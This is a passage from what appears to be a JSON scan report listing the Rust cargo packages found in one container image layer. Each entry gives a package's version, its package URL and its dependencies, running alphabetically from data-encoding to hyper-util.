"sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "data-encoding@2.11.0", "Name": "data-encoding", "Identifier": { "PURL": "pkg:cargo/data-encoding@2.11.0", "UID": "addd65d13c66b2e7" }, "Version": "2.11.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "deadpool@0.12.3", "Name": "deadpool", "Identifier": { "PURL": "pkg:cargo/deadpool@0.12.3", "UID": "27f304f3893a7059" }, "Version": "0.12.3", "DependsOn": [ "deadpool-runtime@0.1.4", "lazy_static@1.5.0", "num_cpus@1.17.0", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "deadpool-runtime@0.1.4", "Name": "deadpool-runtime", "Identifier": { "PURL": "pkg:cargo/deadpool-runtime@0.1.4", "UID": "4c7376cccdc5587a" }, "Version": "0.1.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "der@0.7.10", "Name": "der", "Identifier": { "PURL": "pkg:cargo/der@0.7.10", "UID": "b057a7c7fa21edc6" }, "Version": "0.7.10", "DependsOn": [ "const-oid@0.9.6", "pem-rfc7468@0.7.0", "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "der-parser@10.0.0", "Name": "der-parser", "Identifier": { "PURL": "pkg:cargo/der-parser@10.0.0", "UID": "5af1565bf6ebead5" }, "Version": "10.0.0", "DependsOn": [ "asn1-rs@0.7.1", "displaydoc@0.2.5", "nom@7.1.3", "num-bigint@0.4.6", "num-traits@0.2.19", "rusticata-macros@4.1.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "deranged@0.5.8", "Name": "deranged", "Identifier": { "PURL": "pkg:cargo/deranged@0.5.8", "UID": "dbcfcb18dabff897" }, "Version": "0.5.8", "DependsOn": [ "powerfmt@0.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "difflib@0.4.0", "Name": "difflib", "Identifier": { "PURL": "pkg:cargo/difflib@0.4.0", "UID": "86941066865523f5" }, "Version": "0.4.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "digest@0.10.7", "Name": "digest", "Identifier": { "PURL": "pkg:cargo/digest@0.10.7", "UID": "cfb26951b595e164" }, "Version": "0.10.7", "DependsOn": [ "block-buffer@0.10.4", "const-oid@0.9.6", "crypto-common@0.1.7", "subtle@2.6.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dirs@6.0.0", "Name": "dirs", "Identifier": { "PURL": "pkg:cargo/dirs@6.0.0", "UID": "a3b1743262d7033e" }, "Version": "6.0.0", "DependsOn": [ "dirs-sys@0.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dirs-sys@0.5.0", "Name": "dirs-sys", "Identifier": { "PURL": "pkg:cargo/dirs-sys@0.5.0", "UID": "3238b16c07b9277b" }, "Version": "0.5.0", "DependsOn": [ "libc@0.2.186", "option-ext@0.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "diskus@0.9.0", "Name": "diskus", "Identifier": { "PURL": "pkg:cargo/diskus@0.9.0", "UID": "ddab4fcdac40f9e7" }, "Version": "0.9.0", "DependsOn": [ "crossbeam-channel@0.5.15", "rayon@1.12.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "displaydoc@0.2.5", "Name": "displaydoc", "Identifier": { "PURL": "pkg:cargo/displaydoc@0.2.5", "UID": "fe04fb2c4e4748b9" }, "Version": "0.2.5", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dlv-list@0.5.2", "Name": "dlv-list", "Identifier": { "PURL": "pkg:cargo/dlv-list@0.5.2", "UID": "35418052fb538189" }, "Version": "0.5.2", "DependsOn": [ "const-random@0.1.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dotenvy@0.15.7", "Name": "dotenvy", "Identifier": { "PURL": "pkg:cargo/dotenvy@0.15.7", "UID": "1c9234466f3149c6" }, "Version": "0.15.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dunce@1.0.5", "Name": "dunce", "Identifier": { "PURL": "pkg:cargo/dunce@1.0.5", "UID": "a2d4176f2e0fdf1e" }, "Version": "1.0.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dyn-clone@1.0.20", "Name": "dyn-clone", "Identifier": { "PURL": "pkg:cargo/dyn-clone@1.0.20", "UID": "1870b6e027dfa353" }, "Version": "1.0.20", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "either@1.16.0", "Name": "either", "Identifier": { "PURL": "pkg:cargo/either@1.16.0", "UID": "20013411928d0397" }, "Version": "1.16.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "encoding_rs@0.8.35", "Name": "encoding_rs", "Identifier": { "PURL": "pkg:cargo/encoding_rs@0.8.35", "UID": "315ec39db087a6df" }, "Version": "0.8.35", "DependsOn": [ "cfg-if@1.0.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "encoding_rs_io@0.1.7", "Name": "encoding_rs_io", "Identifier": { "PURL": "pkg:cargo/encoding_rs_io@0.1.7", "UID": "c98896eef421119" }, "Version": "0.1.7", "DependsOn": [ "encoding_rs@0.8.35" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "endi@1.1.1", "Name": "endi", "Identifier": { "PURL": "pkg:cargo/endi@1.1.1", "UID": "181090240b336d6d" }, "Version": "1.1.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "enumflags2@0.7.12", "Name": "enumflags2", "Identifier": { "PURL": "pkg:cargo/enumflags2@0.7.12", "UID": "5580b3855a48159a" }, "Version": "0.7.12", "DependsOn": [ "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "equivalent@1.0.2", "Name": "equivalent", "Identifier": { "PURL": "pkg:cargo/equivalent@1.0.2", "UID": "7d42eda27a69bb62" }, "Version": "1.0.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "erased-serde@0.4.10", "Name": "erased-serde", "Identifier": { "PURL": "pkg:cargo/erased-serde@0.4.10", "UID": "70c5bb0e1194dfd2" }, "Version": "0.4.10", "DependsOn": [ "serde_core@1.0.228", "typeid@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "errno@0.3.14", "Name": "errno", "Identifier": { "PURL": "pkg:cargo/errno@0.3.14", "UID": "372f28514e63f1e6" }, "Version": "0.3.14", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "etcetera@0.11.0", "Name": "etcetera", "Identifier": { "PURL": "pkg:cargo/etcetera@0.11.0", "UID": "38af1d4f1df08a18" }, "Version": "0.11.0", "DependsOn": [ "cfg-if@1.0.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "event-listener@5.4.1", "Name": "event-listener", "Identifier": { "PURL": "pkg:cargo/event-listener@5.4.1", "UID": "52b00cc6d50614ee" }, "Version": "5.4.1", "DependsOn": [ "concurrent-queue@2.5.0", "parking@2.2.1", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "event-listener-strategy@0.5.4", "Name": "event-listener-strategy", "Identifier": { "PURL": "pkg:cargo/event-listener-strategy@0.5.4", "UID": "83200d0ae1e23fe7" }, "Version": "0.5.4", "DependsOn": [ "event-listener@5.4.1", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "fastrand@2.4.1", "Name": "fastrand", "Identifier": { "PURL": "pkg:cargo/fastrand@2.4.1", "UID": "38be9c6faaef73b" }, "Version": "2.4.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "filetime@0.2.29", "Name": "filetime", "Identifier": { "PURL": "pkg:cargo/filetime@0.2.29", "UID": "eff65f94c033459a" }, "Version": "0.2.29", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "fixedbitset@0.5.7", "Name": "fixedbitset", "Identifier": { "PURL": "pkg:cargo/fixedbitset@0.5.7", "UID": "81dd0d5c58109e39" }, "Version": "0.5.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "flate2@1.1.9", "Name": "flate2", "Identifier": { "PURL": "pkg:cargo/flate2@1.1.9", "UID": "fcc17295c79a6f9b" }, "Version": "1.1.9", "DependsOn": [ "crc32fast@1.5.0", "miniz_oxide@0.8.9", "zlib-rs@0.6.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "float-cmp@0.10.0", "Name": "float-cmp", "Identifier": { "PURL": "pkg:cargo/float-cmp@0.10.0", "UID": "b15cbefe282abe97" }, "Version": "0.10.0", "DependsOn": [ "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "fluent-uri@0.4.1", "Name": "fluent-uri", "Identifier": { "PURL": "pkg:cargo/fluent-uri@0.4.1", "UID": "59a56915e3344d35" }, "Version": "0.4.1", "DependsOn": [ "borrow-or-share@0.2.4", "ref-cast@1.0.25", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "fnv@1.0.7", "Name": "fnv", "Identifier": { "PURL": "pkg:cargo/fnv@1.0.7", "UID": "7e2cc2a85563e853" }, "Version": "1.0.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "foldhash@0.1.5", "Name": "foldhash", "Identifier": { "PURL": "pkg:cargo/foldhash@0.1.5", "UID": "906e7aef83cb4ea2" }, "Version": "0.1.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "foldhash@0.2.0", "Name": "foldhash", "Identifier": { "PURL": "pkg:cargo/foldhash@0.2.0", "UID": "28f7a88e4051945e" }, "Version": "0.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "form_urlencoded@1.2.2", "Name": "form_urlencoded", "Identifier": { "PURL": "pkg:cargo/form_urlencoded@1.2.2", "UID": "c78c0ad8b2b96e07" }, "Version": "1.2.2", "DependsOn": [ "percent-encoding@2.3.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "fs-err@3.3.0", "Name": "fs-err", "Identifier": { "PURL": "pkg:cargo/fs-err@3.3.0", "UID": "ed55d7986b4d252" }, "Version": "3.3.0", "DependsOn": [ "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures@0.3.32", "Name": "futures", "Identifier": { "PURL": "pkg:cargo/futures@0.3.32", "UID": "7a7bdb8cb1c045de" }, "Version": "0.3.32", "DependsOn": [ "futures-channel@0.3.32", "futures-core@0.3.32", "futures-executor@0.3.32", "futures-io@0.3.32", "futures-sink@0.3.32", "futures-task@0.3.32", "futures-util@0.3.32" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-channel@0.3.32", "Name": "futures-channel", "Identifier": { "PURL": "pkg:cargo/futures-channel@0.3.32", "UID": "cf908331b579428d" }, "Version": "0.3.32", "DependsOn": [ "futures-core@0.3.32", "futures-sink@0.3.32" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-core@0.3.32", "Name": "futures-core", "Identifier": { "PURL": "pkg:cargo/futures-core@0.3.32", "UID": "a924254f6b05b4fc" }, "Version": "0.3.32", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-executor@0.3.32", "Name": "futures-executor", "Identifier": { "PURL": "pkg:cargo/futures-executor@0.3.32", "UID": "f395a8aab6d813cb" }, "Version": "0.3.32", "DependsOn": [ "futures-core@0.3.32", "futures-task@0.3.32", "futures-util@0.3.32" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-io@0.3.32", "Name": "futures-io", "Identifier": { "PURL": "pkg:cargo/futures-io@0.3.32", "UID": "6583264ce3ae041c" }, "Version": "0.3.32", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-lite@2.6.1", "Name": "futures-lite", "Identifier": { "PURL": "pkg:cargo/futures-lite@2.6.1", "UID": "f29c73a3f8f4b988" }, "Version": "2.6.1", "DependsOn": [ "fastrand@2.4.1", "futures-core@0.3.32", "futures-io@0.3.32", "parking@2.2.1", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-sink@0.3.32", "Name": "futures-sink", "Identifier": { "PURL": "pkg:cargo/futures-sink@0.3.32", "UID": "a11e8a0cc278cdc8" }, "Version": "0.3.32", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-task@0.3.32", "Name": "futures-task", "Identifier": { "PURL": "pkg:cargo/futures-task@0.3.32", "UID": "5664788379add3e4" }, "Version": "0.3.32", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-util@0.3.32", "Name": "futures-util", "Identifier": { "PURL": "pkg:cargo/futures-util@0.3.32", "UID": "6c350a16b6fa54db" }, "Version": "0.3.32", "DependsOn": [ "futures-channel@0.3.32", "futures-core@0.3.32", "futures-io@0.3.32", "futures-sink@0.3.32", "futures-task@0.3.32", "memchr@2.8.2", "pin-project-lite@0.2.17", "slab@0.4.12" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "generic-array@0.14.7", "Name": "generic-array", "Identifier": { "PURL": "pkg:cargo/generic-array@0.14.7", "UID": "c8c63218f84b11b7" }, "Version": "0.14.7", "DependsOn": [ "typenum@1.19.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "getrandom@0.2.16", "Name": "getrandom", "Identifier": { "PURL": "pkg:cargo/getrandom@0.2.16", "UID": "8538f26deb233e0f" }, "Version": "0.2.16", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "getrandom@0.3.3", "Name": "getrandom", "Identifier": { "PURL": "pkg:cargo/getrandom@0.3.3", "UID": "5a5d69dabc41b013" }, "Version": "0.3.3", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "getrandom@0.4.1", "Name": "getrandom", "Identifier": { "PURL": "pkg:cargo/getrandom@0.4.1", "UID": "f8d96fbeaebd2d87" }, "Version": "0.4.1", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "glob@0.3.3", "Name": "glob", "Identifier": { "PURL": "pkg:cargo/glob@0.3.3", "UID": "120b7c99088bb328" }, "Version": "0.3.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "globset@0.4.18", "Name": "globset", "Identifier": { "PURL": "pkg:cargo/globset@0.4.18", "UID": "a2e100dc316142f6" }, "Version": "0.4.18", "DependsOn": [ "aho-corasick@1.1.4", "bstr@1.12.1", "log@0.4.29", "regex-automata@0.4.14", "regex-syntax@0.8.11" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "globwalk@0.9.1", "Name": "globwalk", "Identifier": { "PURL": "pkg:cargo/globwalk@0.9.1", "UID": "4f0d44d9e4b00fff" }, "Version": "0.9.1", "DependsOn": [ "bitflags@2.13.0", "ignore@0.4.26", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "goblin@0.10.7", "Name": "goblin", "Identifier": { "PURL": "pkg:cargo/goblin@0.10.7", "UID": "3425cae08eb94561" }, "Version": "0.10.7", "DependsOn": [ "log@0.4.29", "plain@0.2.3", "scroll@0.13.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "h2@0.4.14", "Name": "h2", "Identifier": { "PURL": "pkg:cargo/h2@0.4.14", "UID": "cb36cec6574fee6e" }, "Version": "0.4.14", "DependsOn": [ "atomic-waker@1.1.2", "bytes@1.11.1", "fnv@1.0.7", "futures-core@0.3.32", "futures-sink@0.3.32", "http@1.4.1", "indexmap@2.14.0", "slab@0.4.12", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hashbrown@0.14.5", "Name": "hashbrown", "Identifier": { "PURL": "pkg:cargo/hashbrown@0.14.5", "UID": "ee3e1f5ba7599c95" }, "Version": "0.14.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hashbrown@0.15.5", "Name": "hashbrown", "Identifier": { "PURL": "pkg:cargo/hashbrown@0.15.5", "UID": "5488c671e7424340" }, "Version": "0.15.5", "DependsOn": [ "foldhash@0.1.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hashbrown@0.17.1", "Name": "hashbrown", "Identifier": { "PURL": "pkg:cargo/hashbrown@0.17.1", "UID": "792ca3b583fea6b4" }, "Version": "0.17.1", "DependsOn": [ "allocator-api2@0.2.21", "equivalent@1.0.2", "foldhash@0.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hex@0.4.3", "Name": "hex", "Identifier": { "PURL": "pkg:cargo/hex@0.4.3", "UID": "2f3cc2e498c3da9a" }, "Version": "0.4.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hkdf@0.12.4", "Name": "hkdf", "Identifier": { "PURL": "pkg:cargo/hkdf@0.12.4", "UID": "f0722833a272a516" }, "Version": "0.12.4", "DependsOn": [ "hmac@0.12.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hmac@0.12.1", "Name": "hmac", "Identifier": { "PURL": "pkg:cargo/hmac@0.12.1", "UID": "f61a59ef18f5ca9d" }, "Version": "0.12.1", "DependsOn": [ "digest@0.10.7" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "homedir@0.3.6", "Name": "homedir", "Identifier": { "PURL": "pkg:cargo/homedir@0.3.6", "UID": "df79ddf098a88a7" }, "Version": "0.3.6", "DependsOn": [ "cfg-if@1.0.4", "nix@0.30.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "html-escape@0.2.13", "Name": "html-escape", "Identifier": { "PURL": "pkg:cargo/html-escape@0.2.13", "UID": "d81b902a8a826307" }, "Version": "0.2.13", "DependsOn": [ "utf8-width@0.1.8" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "http@1.4.1", "Name": "http", "Identifier": { "PURL": "pkg:cargo/http@1.4.1", "UID": "f3ad77edfd868804" }, "Version": "1.4.1", "DependsOn": [ "bytes@1.11.1", "itoa@1.0.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "http-body@1.0.1", "Name": "http-body", "Identifier": { "PURL": "pkg:cargo/http-body@1.0.1", "UID": "a8a13bd0d409a8ba" }, "Version": "1.0.1", "DependsOn": [ "bytes@1.11.1", "http@1.4.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "http-body-util@0.1.3", "Name": "http-body-util", "Identifier": { "PURL": "pkg:cargo/http-body-util@0.1.3", "UID": "14999fc97359f7b4" }, "Version": "0.1.3", "DependsOn": [ "bytes@1.11.1", "futures-core@0.3.32", "http@1.4.1", "http-body@1.0.1", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "http-content-range@0.2.4", "Name": "http-content-range", "Identifier": { "PURL": "pkg:cargo/http-content-range@0.2.4", "UID": "511dd65e4e7072fc" }, "Version": "0.2.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "httparse@1.10.1", "Name": "httparse", "Identifier": { "PURL": "pkg:cargo/httparse@1.10.1", "UID": "c0769afff87b775f" }, "Version": "1.10.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "httpdate@1.0.3", "Name": "httpdate", "Identifier": { "PURL": "pkg:cargo/httpdate@1.0.3", "UID": "c7ddd79293310d52" }, "Version": "1.0.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hyper@1.10.1", "Name": "hyper", "Identifier": { "PURL": "pkg:cargo/hyper@1.10.1", "UID": "caed02eae6a6e302" }, "Version": "1.10.1", "DependsOn": [ "atomic-waker@1.1.2", "bytes@1.11.1", "futures-channel@0.3.32", "futures-core@0.3.32", "h2@0.4.14", "http@1.4.1", "http-body@1.0.1", "httparse@1.10.1", "httpdate@1.0.3", "itoa@1.0.17", "pin-project-lite@0.2.17", "smallvec@1.15.2", "tokio@1.52.3", "want@0.3.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hyper-rustls@0.27.7", "Name": "hyper-rustls", "Identifier": { "PURL": "pkg:cargo/hyper-rustls@0.27.7", "UID": "ab2769f3f71beb8" }, "Version": "0.27.7", "DependsOn": [ "http@1.4.1", "hyper@1.10.1", "hyper-util@0.1.20", "rustls@0.23.40", "rustls-pki-types@1.14.1", "tokio@1.52.3", "tokio-rustls@0.26.4", "tower-service@0.3.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hyper-util@0.1.20", "Name": "hyper-util", "Identifier": { "PURL": "pkg:cargo/hyper-util@0.1.20", "UID": "42b143887e877e1a" }, "Version": "0.1.20", "DependsOn": [ "base64@0.22.1", "bytes@1.11.1", "futures-channel@0.3.32", "futures-util@0.3.32", "http@1.4.1", "http-body@1.0.1", "hyper@1.10.1", "ipnet@2.12.0", "libc@0.2.186", "percent-encoding@2.3.2", "pin-project-lite@0.2.17", "socket2@0.6.3", "tokio@1.52.3", "tower-service@0.3.3", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "icu_collections@2.1.1", 